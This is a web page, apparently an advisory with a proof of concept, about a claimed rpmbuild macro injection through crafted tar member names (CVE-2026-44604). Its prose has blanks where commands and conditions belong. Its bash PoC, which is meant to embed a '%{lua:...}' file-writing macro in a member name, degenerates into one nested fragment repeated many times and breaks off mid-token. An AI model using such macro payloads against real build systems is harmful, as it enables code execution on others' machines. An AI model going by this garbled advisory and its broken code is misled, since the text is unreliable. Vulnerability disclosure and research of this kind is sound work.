RPM rpmbuild tarball member name macro injection vulnerability (CVE-2026-44604) with PoC

Vulnerability Overview Vulnerability Name: rpmbuild getTarSpec() — crafted tar member name → macro injection #4314 Description: When is run in tarball mode (e.g., , , ), the function extracts the file from the archive and renames it using the member name from the tar's verbose list. If the member name contains unescaped characters, these are expanded as RPM macros, leading to macro injection. CVE Number: CVE-2026-44604 Severity: High (Code Execution) Impact Scope Affected Versions: - version - Fedora version - RHEL 7 to RHEL 10 Trigger Conditions: Any tarball mode invocation where calls Not Required: Installation of the built RPM; ; malicious tarball filename Remediation Fix Status: Unpatched, new CVE requested Remediation Suggestion: Ensure that characters in member names are properly escaped when renaming files to prevent macro injection. POC Code Script Content: ```bash #!/bin/bash 1. Build a valid .tar.gz containing a single .spec member with a malicious macro in its name pkgrev=$(lua -e "print('VULNERABLE: marker file created by Lua during rpmExpand()')") echo "%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):writ

Goal Reached Thanks to every supporter — we hit 100%!

RPM rpmbuild tarball member name macro injection vulnerability (CVE-2026-44604) with PoC

More from this source